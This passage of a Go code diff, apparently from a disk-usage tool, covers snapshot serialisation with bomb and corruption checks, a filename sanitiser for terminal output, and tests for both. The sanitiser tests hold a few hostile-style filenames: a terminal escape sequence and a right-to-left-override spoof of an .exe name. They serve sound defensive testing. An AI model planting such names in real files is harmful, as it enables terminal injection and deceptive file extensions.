func (w *writer) varint(v int64) { w.bytes(w.buf[:binary.PutVarint(w.buf[:], v)]) }
|
||||
func (w *writer) str(s string) { w.uvarint(uint64(len(s))); w.bytes([]byte(s)) }
|
||||
|
||||
// Save writes t to w. The caller must hold t's read lock.
|
||||
func Save(out io.Writer, t *inventory.Tree) error {
|
||||
bw := bufio.NewWriterSize(out, 1<<20)
|
||||
hdr := make([]byte, 0, 12)
|
||||
hdr = append(hdr, brand.SnapshotMagic...)
|
||||
hdr = binary.LittleEndian.AppendUint16(hdr, Version)
|
||||
hdr = binary.LittleEndian.AppendUint16(hdr, flagGzipped)
|
||||
bw.Write(hdr)
|
||||
|
||||
gz, _ := gzip.NewWriterLevel(bw, gzip.BestSpeed)
|
||||
h := sha256.New()
|
||||
w := &writer{w: io.MultiWriter(gz, h)}
|
||||
|
||||
st := &t.Stats
|
||||
host, _ := os.Hostname()
|
||||
m := meta{Root: st.Root, Created: time.Now().UTC(), Start: st.Start, End: st.End, Complete: st.Complete,
|
||||
Cancelled: st.Cancelled, Files: st.Files, Dirs: st.Dirs, Symlinks: st.Symlinks, Others: st.Others,
|
||||
ErrCounts: st.ErrCounts[:], Excluded: st.Excluded, SkippedMounts: st.SkippedMounts,
|
||||
VirtualSkipped: st.VirtualSkipped, LoopsSkipped: st.LoopsSkipped, BrokenLinks: st.BrokenLinks,
|
||||
HardlinkDups: st.HardlinkDups, Unscanned: st.Unscanned, Excludes: st.Excludes,
|
||||
OneFileSystem: st.OneFileSystem, Follow: st.Follow, Workers: st.Workers, Host: host,
|
||||
Generator: brand.Name + " " + brand.Version}
|
||||
mb, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
w.uvarint(uint64(len(mb)))
|
||||
w.bytes(mb)
|
||||
|
||||
w.uvarint(uint64(t.ExtCount()))
|
||||
for i := range t.ExtCount() {
|
||||
w.str(t.ExtByIndex(i))
|
||||
}
|
||||
w.uvarint(uint64(t.Len()))
|
||||
for i := range t.Len() {
|
||||
id := inventory.NodeID(i)
|
||||
n := t.Node(id)
|
||||
if i == 0 {
|
||||
w.uvarint(0)
|
||||
} else {
|
||||
w.uvarint(uint64(id - n.Parent))
|
||||
}
|
||||
w.bytes([]byte{byte(n.Kind), byte(n.Cat)})
|
||||
w.uvarint(uint64(n.Flags))
|
||||
w.str(n.Name)
|
||||
w.varint(n.Size)
|
||||
w.varint(n.Alloc)
|
||||
w.varint(n.MTime)
|
||||
w.uvarint(uint64(n.Mode))
|
||||
w.uvarint(uint64(n.UID))
|
||||
w.uvarint(uint64(n.GID))
|
||||
w.uvarint(uint64(n.Nlink))
|
||||
w.uvarint(uint64(n.Ext))
|
||||
}
|
||||
w.uvarint(uint64(len(st.Errors)))
|
||||
for _, e := range st.Errors {
|
||||
w.uvarint(uint64(e.Node))
|
||||
w.bytes([]byte{byte(e.Kind)})
|
||||
w.str(e.Name)
|
||||
w.str(e.Msg)
|
||||
}
|
||||
if w.err != nil {
|
||||
return w.err
|
||||
}
|
||||
if err := gz.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
bw.Write(h.Sum(nil))
|
||||
return bw.Flush()
|
||||
}
|
||||
|
||||
// SaveFile writes a snapshot atomically (temp file + rename).
|
||||
func SaveFile(path string, t *inventory.Tree) error {
|
||||
tmp, err := os.CreateTemp(dirOf(path), ".mapsize-*.tmp")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmp.Name())
|
||||
if err := Save(tmp, t); err != nil {
|
||||
tmp.Close()
|
||||
return err
|
||||
}
|
||||
if err := tmp.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.Rename(tmp.Name(), path)
|
||||
}
|
||||
|
||||
func dirOf(p string) string {
|
||||
i := strings.LastIndexAny(p, `/\`)
|
||||
if i < 0 {
|
||||
return "."
|
||||
}
|
||||
if i == 0 {
|
||||
return p[:1]
|
||||
}
|
||||
return p[:i]
|
||||
}
|
||||
|
||||
type reader struct {
|
||||
r *bufio.Reader
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *reader) fail(format string, a ...any) {
|
||||
if r.err == nil {
|
||||
r.err = fmt.Errorf("snapshot: "+format, a...)
|
||||
}
|
||||
}
|
||||
|
||||
func (r *reader) byte1() byte {
|
||||
if r.err != nil {
|
||||
return 0
|
||||
}
|
||||
b, err := r.r.ReadByte()
|
||||
if err != nil {
|
||||
r.fail("truncated: %v", err)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func (r *reader) uvarint(max uint64, what string) uint64 {
|
||||
if r.err != nil {
|
||||
return 0
|
||||
}
|
||||
v, err := readUvarint(r.r)
|
||||
if err != nil {
|
||||
r.fail("bad %s: %v", what, err)
|
||||
return 0
|
||||
}
|
||||
if v > max {
|
||||
r.fail("%s %d exceeds limit %d", what, v, max)
|
||||
return 0
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (r *reader) varint(what string) int64 {
|
||||
if r.err != nil {
|
||||
return 0
|
||||
}
|
||||
ux, err := readUvarint(r.r)
|
||||
if err != nil {
|
||||
r.fail("bad %s: %v", what, err)
|
||||
}
|
||||
v := int64(ux >> 1) // zig-zag, as encoding/binary.PutVarint
|
||||
if ux&1 != 0 {
|
||||
v = ^v
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
var errOverflow = errors.New("varint overflows 64 bits")
|
||||
|
||||
// readUvarint is encoding/binary.ReadUvarint specialised to *bufio.Reader
|
||||
// (no interface dispatch per byte; this is the loader's hot loop).
|
||||
func readUvarint(br *bufio.Reader) (uint64, error) {
|
||||
var x uint64
|
||||
var s uint
|
||||
for i := 0; i < binary.MaxVarintLen64; i++ {
|
||||
b, err := br.ReadByte()
|
||||
if err != nil {
|
||||
if i > 0 && err == io.EOF {
|
||||
err = io.ErrUnexpectedEOF
|
||||
}
|
||||
return x, err
|
||||
}
|
||||
if b < 0x80 {
|
||||
if i == binary.MaxVarintLen64-1 && b > 1 {
|
||||
return x, errOverflow
|
||||
}
|
||||
return x | uint64(b)<<s, nil
|
||||
}
|
||||
x |= uint64(b&0x7f) << s
|
||||
s += 7
|
||||
}
|
||||
return x, errOverflow
|
||||
}
|
||||
|
||||
func (r *reader) bytesN(n uint64) []byte {
|
||||
if r.err != nil {
|
||||
return nil
|
||||
}
|
||||
b := make([]byte, n)
|
||||
if _, err := io.ReadFull(r.r, b); err != nil {
|
||||
r.fail("truncated: %v", err)
|
||||
return nil
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func (r *reader) str(max uint64, what string) string {
|
||||
return string(r.bytesN(r.uvarint(max, what+" length")))
|
||||
}
|
||||
|
||||
// limitedReader fails (rather than silently truncating) past n bytes, so a
|
||||
// decompression bomb is reported as such.
|
||||
type limitedReader struct {
|
||||
r io.Reader
|
||||
n int64
|
||||
}
|
||||
|
||||
func (l *limitedReader) Read(p []byte) (int, error) {
|
||||
if l.n <= 0 {
|
||||
return 0, errors.New("snapshot: decompressed size exceeds limit (possible decompression bomb)")
|
||||
}
|
||||
if int64(len(p)) > l.n {
|
||||
p = p[:l.n]
|
||||
}
|
||||
n, err := l.r.Read(p)
|
||||
l.n -= int64(n)
|
||||
return n, err
|
||||
}
|
||||
|
||||
// bodyLimit allows decompressed bodies up to 64× the compressed file size
|
||||
// (real snapshots compress ~6×), with a 64 MiB floor for tiny files.
|
||||
func bodyLimit(fileSize int64) int64 { return max(64<<20, fileSize*64) }
|
||||
|
||||
// Load reads and validates a snapshot, allowing up to DefaultMaxBody bytes
|
||||
// of decompressed data.
|
||||
func Load(in io.Reader) (*inventory.Tree, error) { return LoadLimit(in, DefaultMaxBody) }
|
||||
|
||||
// LoadLimit is Load with an explicit decompressed-size limit.
|
||||
func LoadLimit(in io.Reader, maxBody int64) (*inventory.Tree, error) {
|
||||
br := bufio.NewReaderSize(in, 1<<20)
|
||||
hdr := make([]byte, len(brand.SnapshotMagic)+4)
|
||||
if _, err := io.ReadFull(br, hdr); err != nil {
|
||||
return nil, errors.New("snapshot: file too short")
|
||||
}
|
||||
if string(hdr[:8]) != brand.SnapshotMagic {
|
||||
return nil, errors.New("snapshot: not a " + brand.Name + " snapshot")
|
||||
}
|
||||
if v := binary.LittleEndian.Uint16(hdr[8:]); v != Version {
|
||||
return nil, fmt.Errorf("snapshot: unsupported version %d (this build reads %d)", v, Version)
|
||||
}
|
||||
if binary.LittleEndian.Uint16(hdr[10:])&flagGzipped == 0 {
|
||||
return nil, errors.New("snapshot: uncompressed bodies are not supported")
|
||||
}
|
||||
gz, err := gzip.NewReader(br)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("snapshot: %w", err)
|
||||
}
|
||||
gz.Multistream(false)
|
||||
// Decompression and hashing run on their own goroutine, overlapping
|
||||
// with parsing. The pipe's close orders the hash and br accesses: the
|
||||
// parser only sees EOF after the copier has finished with both.
|
||||
h := sha256.New()
|
||||
pr, pw := io.Pipe()
|
||||
defer pr.Close() // unblocks the copier if we bail out early
|
||||
go func() {
|
||||
_, err := io.CopyBuffer(pw, io.TeeReader(&limitedReader{gz, maxBody}, h), make([]byte, 256<<10))
|
||||
pw.CloseWithError(err)
|
||||
}()
|
||||
r := &reader{r: bufio.NewReaderSize(pr, 1<<16)}
|
||||
|
||||
var m meta
|
||||
if mb := r.bytesN(r.uvarint(MaxMetaLen, "metadata length")); r.err == nil {
|
||||
if err := json.Unmarshal(mb, &m); err != nil {
|
||||
return nil, fmt.Errorf("snapshot: metadata: %w", err)
|
||||
}
|
||||
}
|
||||
if r.err != nil {
|
||||
return nil, r.err
|
||||
}
|
||||
t := inventory.New(m.Root, inventory.KindDir)
|
||||
nExt := r.uvarint(maxExts, "extension count")
|
||||
exts := make([]string, 0, min(nExt, 1024))
|
||||
for range nExt {
|
||||
exts = append(exts, r.str(MaxExtLen, "extension"))
|
||||
}
|
||||
if r.err != nil {
|
||||
return nil, r.err
|
||||
}
|
||||
extIndex := t.ExtIndexer()
|
||||
nNodes := r.uvarint(MaxNodes, "node count")
|
||||
depth := []uint16{0} // per node, for the depth limit; parents precede children
|
||||
if nNodes == 0 {
|
||||
return nil, errors.New("snapshot: no root node")
|
||||
}
|
||||
for i := uint64(0); i < nNodes && r.err == nil; i++ {
|
||||
pd := r.uvarint(MaxNodes, "parent")
|
||||
kind := inventory.Kind(r.byte1())
|
||||
cat := inventory.Category(r.byte1())
|
||||
flags := inventory.Flags(r.uvarint(1<<16-1, "flags"))
|
||||
name := r.str(MaxNameLen, "name")
|
||||
size, alloc, mtime := r.varint("size"), r.varint("alloc"), r.varint("mtime")
|
||||
mode := r.uvarint(1<<32-1, "mode")
|
||||
uid := r.uvarint(1<<32-1, "uid")
|
||||
gid := r.uvarint(1<<32-1, "gid")
|
||||
nlink := r.uvarint(1<<32-1, "nlink")
|
||||
ext := r.uvarint(nExt, "ext")
|
||||
if r.err != nil {
|
||||
break
|
||||
}
|
||||
if kind > inventory.KindOther || cat >= inventory.NumCategories {
|
||||
r.fail("node %d: invalid kind/category", i)
|
||||
break
|
||||
}
|
||||
if size < 0 || alloc < 0 || size > MaxSize || alloc > MaxSize {
|
||||
r.fail("node %d: size out of range", i)
|
||||
break
|
||||
}
|
||||
var id inventory.NodeID
|
||||
if i == 0 {
|
||||
if pd != 0 || kind != inventory.KindDir && nNodes > 1 {
|
||||
r.fail("invalid root")
|
||||
break
|
||||
}
|
||||
id = 0
|
||||
rn := t.Node(0)
|
||||
rn.Kind = kind
|
||||
} else {
|
||||
if pd == 0 || pd > i {
|
||||
r.fail("node %d: invalid parent reference", i)
|
||||
break
|
||||
}
|
||||
parent := inventory.NodeID(i - pd)
|
||||
if t.Node(parent).Kind != inventory.KindDir {
|
||||
r.fail("node %d: parent is not a directory", i)
|
||||
break
|
||||
}
|
||||
if !validName(name) {
|
||||
r.fail("node %d: invalid name %q", i, name)
|
||||
break
|
||||
}
|
||||
if d := depth[parent] + 1; d > MaxDepth {
|
||||
r.fail("node %d: deeper than %d levels", i, MaxDepth)
|
||||
break
|
||||
}
|
||||
id = t.Add(parent, name, kind)
|
||||
depth = append(depth, depth[parent]+1)
|
||||
}
|
||||
n := t.Node(id)
|
||||
n.Cat, n.Flags = cat, flags
|
||||
n.Size, n.Alloc, n.MTime = size, alloc, mtime
|
||||
n.Mode, n.UID, n.GID, n.Nlink = uint32(mode), uint32(uid), uint32(gid), uint32(nlink)
|
||||
if kind != inventory.KindDir && ext < uint64(len(exts)) {
|
||||
n.Ext = extIndex(exts[ext])
|
||||
}
|
||||
}
|
||||
nErr := r.uvarint(inventory.MaxErrorRecords, "error count")
|
||||
for range nErr {
|
||||
node := r.uvarint(nNodes-1, "error node")
|
||||
kind := inventory.ErrKind(r.byte1())
|
||||
name := r.str(MaxNameLen, "error name")
|
||||
msg := r.str(MaxMsgLen, "error message")
|
||||
if r.err != nil {
|
||||
break
|
||||
}
|
||||
if kind >= inventory.NumErrKinds {
|
||||
kind = inventory.ErrOther
|
||||
}
|
||||
t.Stats.Errors = append(t.Stats.Errors, inventory.ErrorRecord{Node: inventory.NodeID(node), Kind: kind, Name: name, Msg: msg})
|
||||
}
|
||||
if r.err != nil {
|
||||
return nil, r.err
|
||||
}
|
||||
// The body must end here, then the checksum follows the gzip stream.
|
||||
if _, err := r.r.ReadByte(); err != io.EOF {
|
||||
return nil, errors.New("snapshot: trailing data in body")
|
||||
}
|
||||
sum := make([]byte, sha256.Size)
|
||||
if _, err := io.ReadFull(br, sum); err != nil {
|
||||
return nil, errors.New("snapshot: missing checksum")
|
||||
}
|
||||
if !bytes.Equal(sum, h.Sum(nil)) {
|
||||
return nil, errors.New("snapshot: checksum mismatch (file corrupt)")
|
||||
}
|
||||
|
||||
t.Recompute()
|
||||
st := &t.Stats
|
||||
st.Start, st.End, st.Complete, st.Cancelled = m.Start, m.End, true, m.Cancelled
|
||||
st.Files, st.Dirs, st.Symlinks, st.Others = m.Files, m.Dirs, m.Symlinks, m.Others
|
||||
copy(st.ErrCounts[:], m.ErrCounts)
|
||||
st.Excluded, st.SkippedMounts, st.VirtualSkipped = m.Excluded, m.SkippedMounts, m.VirtualSkipped
|
||||
st.LoopsSkipped, st.BrokenLinks, st.HardlinkDups, st.Unscanned = m.LoopsSkipped, m.BrokenLinks, m.HardlinkDups, m.Unscanned
|
||||
st.Excludes, st.OneFileSystem, st.Follow, st.Workers = m.Excludes, m.OneFileSystem, m.Follow, m.Workers
|
||||
st.FromSnapshot = fmt.Sprintf("%s (%s, %s)", m.Created.Local().Format("2006-01-02 15:04"), m.Host, m.Generator)
|
||||
return t, nil
|
||||
}
|
||||
|
||||
func validName(s string) bool {
|
||||
return s != "" && s != "." && s != ".." && !strings.ContainsAny(s, "/\x00")
|
||||
}
|
||||
|
||||
// LoadFile opens and loads a snapshot file.
|
||||
func LoadFile(path string) (*inventory.Tree, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer f.Close()
|
||||
limit := int64(DefaultMaxBody)
|
||||
if fi, err := f.Stat(); err == nil {
|
||||
limit = bodyLimit(fi.Size())
|
||||
}
|
||||
return LoadLimit(f, limit)
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
package snapshot
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"testing"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
func sample() *inventory.Tree {
|
||||
t := inventory.New("/srv", inventory.KindDir)
|
||||
a := t.Add(0, "a", inventory.KindDir)
|
||||
b := t.Add(0, "b", inventory.KindDir)
|
||||
f1 := t.Add(a, "x.iso", inventory.KindFile)
|
||||
t.Node(f1).Size, t.Node(f1).Alloc = 1000, 1024
|
||||
f2 := t.Add(b, "y.log", inventory.KindFile)
|
||||
t.Node(f2).Size, t.Node(f2).Alloc = 50, 4096
|
||||
t.Node(f2).Flags = inventory.FlagSparse
|
||||
t.Recompute()
|
||||
t.Stats.Files, t.Stats.Dirs = 2, 3
|
||||
t.Stats.AddError(inventory.ErrorRecord{Node: b, Kind: inventory.ErrPermission, Msg: "denied"})
|
||||
return t
|
||||
}
|
||||
|
||||
func TestRoundTrip(t *testing.T) {
|
||||
src := sample()
|
||||
var buf bytes.Buffer
|
||||
if err := Save(&buf, src); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := Load(bytes.NewReader(buf.Bytes()))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.Len() != src.Len() {
|
||||
t.Fatalf("len %d want %d", got.Len(), src.Len())
|
||||
}
|
||||
for i := range src.Len() {
|
||||
a, b := src.Node(inventory.NodeID(i)), got.Node(inventory.NodeID(i))
|
||||
if a.Name != b.Name || a.TotSize != b.TotSize || a.TotAlloc != b.TotAlloc || a.Flags != b.Flags ||
|
||||
src.Path(inventory.NodeID(i)) != got.Path(inventory.NodeID(i)) || src.ExtName(a) != got.ExtName(b) {
|
||||
t.Fatalf("node %d differs: %+v vs %+v", i, a, b)
|
||||
}
|
||||
}
|
||||
if got.Stats.ErrCounts[inventory.ErrPermission] != 1 || len(got.Stats.Errors) != 1 {
|
||||
t.Fatalf("errors not restored: %+v", got.Stats)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCorruptionDetected(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
Save(&buf, sample())
|
||||
data := buf.Bytes()
|
||||
// Flip a byte in the checksum trailer.
|
||||
bad := append([]byte(nil), data...)
|
||||
bad[len(bad)-1] ^= 0xff
|
||||
if _, err := Load(bytes.NewReader(bad)); err == nil {
|
||||
t.Fatal("checksum corruption not detected")
|
||||
}
|
||||
// Every truncation must fail cleanly.
|
||||
for i := 0; i < len(data)-1; i += 7 {
|
||||
if _, err := Load(bytes.NewReader(data[:i])); err == nil {
|
||||
t.Fatalf("truncation at %d accepted", i)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func FuzzLoad(f *testing.F) {
|
||||
var buf bytes.Buffer
|
||||
Save(&buf, sample())
|
||||
f.Add(buf.Bytes())
|
||||
f.Add([]byte("MAPSIZE\x00\x01\x00\x01\x00"))
|
||||
f.Fuzz(func(t *testing.T, data []byte) {
|
||||
tr, err := Load(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// A successfully loaded tree must be internally consistent.
|
||||
for i := 1; i < tr.Len(); i++ {
|
||||
if p := tr.Node(inventory.NodeID(i)).Parent; p >= inventory.NodeID(i) {
|
||||
t.Fatalf("parent %d >= child %d", p, i)
|
||||
}
|
||||
}
|
||||
_ = tr.Path(inventory.NodeID(tr.Len() - 1))
|
||||
})
|
||||
}
|
||||
|
||||
func TestCompare(t *testing.T) {
|
||||
old := sample()
|
||||
nw := inventory.New("/srv", inventory.KindDir)
|
||||
a := nw.Add(0, "a", inventory.KindDir)
|
||||
f1 := nw.Add(a, "x.iso", inventory.KindFile)
|
||||
nw.Node(f1).Size, nw.Node(f1).Alloc = 5000, 5120
|
||||
c := nw.Add(0, "c", inventory.KindDir)
|
||||
f3 := nw.Add(c, "z", inventory.KindFile)
|
||||
nw.Node(f3).Size, nw.Node(f3).Alloc = 10, 4096
|
||||
nw.Recompute()
|
||||
|
||||
d := Compare(old, nw)
|
||||
if d.StatusOf(f1, inventory.SizeAllocated) != Grew || d.Delta(f1, inventory.SizeAllocated) != 4096 {
|
||||
t.Fatalf("x.iso: %v %d", d.StatusOf(f1, 0), d.Delta(f1, 0))
|
||||
}
|
||||
if d.StatusOf(c, 0) != Added {
|
||||
t.Fatal("c should be new")
|
||||
}
|
||||
if len(d.Removed) != 1 || old.Node(d.Removed[0]).Name != "b" {
|
||||
t.Fatalf("removed %v", d.Removed)
|
||||
}
|
||||
ch := d.Changes(10, inventory.SizeAllocated)
|
||||
paths := map[string]Status{}
|
||||
for _, c := range ch {
|
||||
paths[c.Path] = c.Status
|
||||
}
|
||||
if paths["/srv/a/x.iso"] != Grew || paths["/srv/b"] != Removed || paths["/srv/c"] != Added {
|
||||
t.Fatalf("changes %+v", ch)
|
||||
}
|
||||
if _, ok := paths["/srv/a"]; ok {
|
||||
t.Fatal("/srv/a should be explained by its child")
|
||||
}
|
||||
if _, ok := paths["/srv/c/z"]; ok {
|
||||
t.Fatal("contents of new dirs should not be listed separately")
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadUvarintMatchesStdlib(t *testing.T) {
|
||||
for _, v := range []uint64{0, 1, 127, 128, 300, 1 << 35, 1<<64 - 1} {
|
||||
buf := binary.AppendUvarint(nil, v)
|
||||
got, err := readUvarint(bufio.NewReader(bytes.NewReader(buf)))
|
||||
if err != nil || got != v {
|
||||
t.Fatalf("%d: got %d %v", v, got, err)
|
||||
}
|
||||
}
|
||||
bad := bytes.Repeat([]byte{0xff}, 11)
|
||||
if _, err := readUvarint(bufio.NewReader(bytes.NewReader(bad))); err == nil {
|
||||
t.Fatal("overflow not detected")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
// Package textutil holds display helpers: sanitising untrusted strings for
|
||||
// the terminal, width-aware truncation, and human-readable units.
|
||||
package textutil
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
"github.com/rivo/uniseg"
|
||||
)
|
||||
|
||||
// Sanitize makes an untrusted string (a filename, snapshot data) safe to
|
||||
// write to a terminal. Control characters (C0, DEL, C1) and bidi overrides are
|
||||
// replaced by visible escapes; invalid UTF-8 becomes U+FFFD. The original
|
||||
// string should be kept for filesystem operations.
|
||||
func Sanitize(s string) string {
|
||||
clean := true
|
||||
for i := 0; i < len(s); i++ {
|
||||
if c := s[i]; c < 0x20 || c >= 0x7f {
|
||||
clean = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if clean {
|
||||
return s
|
||||
}
|
||||
var b strings.Builder
|
||||
b.Grow(len(s) + 8)
|
||||
for i := 0; i < len(s); {
|
||||
r, size := utf8.DecodeRuneInString(s[i:])
|
||||
if r == utf8.RuneError && size <= 1 {
|
||||
b.WriteRune(utf8.RuneError)
|
||||
i++
|
||||
continue
|
||||
}
|
||||
i += size
|
||||
switch {
|
||||
case r < 0x20 || r == 0x7f || (r >= 0x80 && r <= 0x9f):
|
||||
fmt.Fprintf(&b, `\x%02x`, r)
|
||||
case isBidiControl(r):
|
||||
fmt.Fprintf(&b, `\u%04x`, r)
|
||||
default:
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func isBidiControl(r rune) bool {
|
||||
return (r >= 0x202a && r <= 0x202e) || (r >= 0x2066 && r <= 0x2069) ||
|
||||
r == 0x200e || r == 0x200f || r == 0x061c
|
||||
}
|
||||
|
||||
// Clusters calls fn for each grapheme cluster of s with its display width.
|
||||
// Clusters whose width terminals disagree on (per-rune wcwidth versus
|
||||
// grapheme width, e.g. emoji ZWJ sequences) are replaced by U+FFFD with
|
||||
// width 1, and zero-width clusters are dropped, so that measuring and
|
||||
// drawing always agree with the terminal. fn returns false to stop.
|
||||
func Clusters(s string, fn func(c string, w int) bool) {
|
||||
state := -1
|
||||
for s != "" {
|
||||
var c string
|
||||
var w int
|
||||
c, s, w, state = uniseg.FirstGraphemeClusterInString(s, state)
|
||||
if w == 0 {
|
||||
continue
|
||||
}
|
||||
if len(c) > 1 && ansi.WcWidth.StringWidth(c) != w {
|
||||
c, w = "\uFFFD", 1
|
||||
}
|
||||
if !fn(c, w) {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Width returns the display width of s in terminal cells.
|
||||
func Width(s string) int {
|
||||
n := 0
|
||||
for i := 0; i < len(s); i++ {
|
||||
if s[i] < 0x20 || s[i] >= 0x7f {
|
||||
Clusters(s, func(_ string, w int) bool { n += w; return true })
|
||||
return n
|
||||
}
|
||||
}
|
||||
return len(s)
|
||||
}
|
||||
|
||||
// Truncate clips s to at most w cells, appending "…" if anything was cut.
|
||||
func Truncate(s string, w int) string {
|
||||
if w <= 0 {
|
||||
return ""
|
||||
}
|
||||
if Width(s) <= w {
|
||||
return s
|
||||
}
|
||||
return clip(s, w-1) + "…"
|
||||
}
|
||||
|
||||
// TruncateLeft clips from the left, prefixing "…" (used for paths and
|
||||
// breadcrumbs where the tail is the informative part).
|
||||
func TruncateLeft(s string, w int) string {
|
||||
if w <= 0 {
|
||||
return ""
|
||||
}
|
||||
total := Width(s)
|
||||
if total <= w {
|
||||
return s
|
||||
}
|
||||
skip := total - (w - 1)
|
||||
var b strings.Builder
|
||||
Clusters(s, func(c string, cw int) bool {
|
||||
if skip > 0 {
|
||||
skip -= cw
|
||||
if skip < 0 {
|
||||
// A wide cluster overshot by one cell; pad to keep width exact.
|
||||
b.WriteString(strings.Repeat(" ", -skip))
|
||||
}
|
||||
return true
|
||||
}
|
||||
b.WriteString(c)
|
||||
return true
|
||||
})
|
||||
return "…" + b.String()
|
||||
}
|
||||
|
||||
// clip returns the longest prefix of s that fits in w cells.
|
||||
func clip(s string, w int) string {
|
||||
var b strings.Builder
|
||||
used := 0
|
||||
Clusters(s, func(c string, cw int) bool {
|
||||
if used+cw > w {
|
||||
return false
|
||||
}
|
||||
used += cw
|
||||
b.WriteString(c)
|
||||
return true
|
||||
})
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// PadRight pads s with spaces to exactly w cells (truncating if longer).
|
||||
func PadRight(s string, w int) string {
|
||||
s = Truncate(s, w)
|
||||
if d := w - Width(s); d > 0 {
|
||||
s += strings.Repeat(" ", d)
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// PadLeft right-aligns s in w cells.
|
||||
func PadLeft(s string, w int) string {
|
||||
s = Truncate(s, w)
|
||||
if d := w - Width(s); d > 0 {
|
||||
s = strings.Repeat(" ", d) + s
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package textutil
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSanitize(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"plain.txt": "plain.txt",
|
||||
"evil\x1b[2Jname": `evil\x1b[2Jname`,
|
||||
"bell\a": `bell\x07`,
|
||||
"c1\u009bx": `c1\x9bx`,
|
||||
"bad\xffutf8": "bad�utf8",
|
||||
"rtl\u202egnp.exe": `rtl\u202egnp.exe`,
|
||||
"日本語": "日本語",
|
||||
"tab\tnew\nline\rdel\x7f": `tab\x09new\x0aline\x0ddel\x7f`,
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := Sanitize(in); got != want {
|
||||
t.Errorf("Sanitize(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
if strings.ContainsAny(Sanitize(in), "\x1b\a\u009b") {
|
||||
t.Errorf("control byte survived in %q", in)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTruncate(t *testing.T) {
|
||||
if got := Truncate("hello world", 5); got != "hell…" {
|
||||
t.Errorf("got %q", got)
|
||||
}
|
||||
if got := Truncate("日本語テキスト", 5); Width(got) > 5 {
|
||||
t.Errorf("wide truncation overflow: %q width %d", got, Width(got))
|
||||
}
|
||||
if got := Truncate("abc", 3); got != "abc" {
|
||||
t.Errorf("got %q", got)
|
||||
}
|
||||
if got := Truncate("abc", 0); got != "" {
|
||||
t.Errorf("got %q", got)
|
||||
}
|
||||
if got := TruncateLeft("/a/very/long/path", 8); Width(got) != 8 || !strings.HasSuffix(got, "path") {
|
||||
t.Errorf("TruncateLeft got %q", got)
|
||||
}
|
||||
if got := TruncateLeft("ab日本語", 4); Width(got) != 4 {
|
||||
t.Errorf("TruncateLeft wide got %q (%d)", got, Width(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestSize(t *testing.T) {
|
||||
cases := map[int64]string{0: "0 B", 1023: "1023 B", 1024: "1.00 KiB", 1536: "1.50 KiB",
|
||||
181 << 30: "181 GiB", 1 << 62: "4.00 EiB"}
|
||||
for in, want := range cases {
|
||||
if got := Size(in); got != want {
|
||||
t.Errorf("Size(%d)=%q want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
if got := Count(2184392); got != "2,184,392" {
|
||||
t.Errorf("Count got %q", got)
|
||||
}
|
||||
if got := SignedSize(-2048); got != "-2.00 KiB" {
|
||||
t.Errorf("SignedSize got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClustersAgreeWithWidth(t *testing.T) {
|
||||
for _, s := range []string{"abc", "日本", "é", "👨👩👧", "🎉x", ""} {
|
||||
n := 0
|
||||
Clusters(s, func(_ string, w int) bool { n += w; return true })
|
||||
if n != Width(s) {
|
||||
t.Errorf("%q: clusters %d width %d", s, n, Width(s))
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
package textutil
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SI selects decimal units (kB, MB, …). The default is IEC (KiB, MiB, …).
|
||||
// It is set once at start-up, before any goroutines format sizes.
|
||||
var SI bool
|
||||
|
||||
var (
|
||||
iecUnits = []string{"B", "KiB", "MiB", "GiB", "TiB", "PiB", "EiB"}
|
||||
siUnits = []string{"B", "kB", "MB", "GB", "TB", "PB", "EB"}
|
||||
)
|
||||
|
||||
func scaled(n int64) (float64, string) {
|
||||
base, units := 1024.0, iecUnits
|
||||
if SI {
|
||||
base, units = 1000.0, siUnits
|
||||
}
|
||||
neg := n < 0
|
||||
v := float64(n)
|
||||
if neg {
|
||||
v = -v
|
||||
}
|
||||
i := 0
|
||||
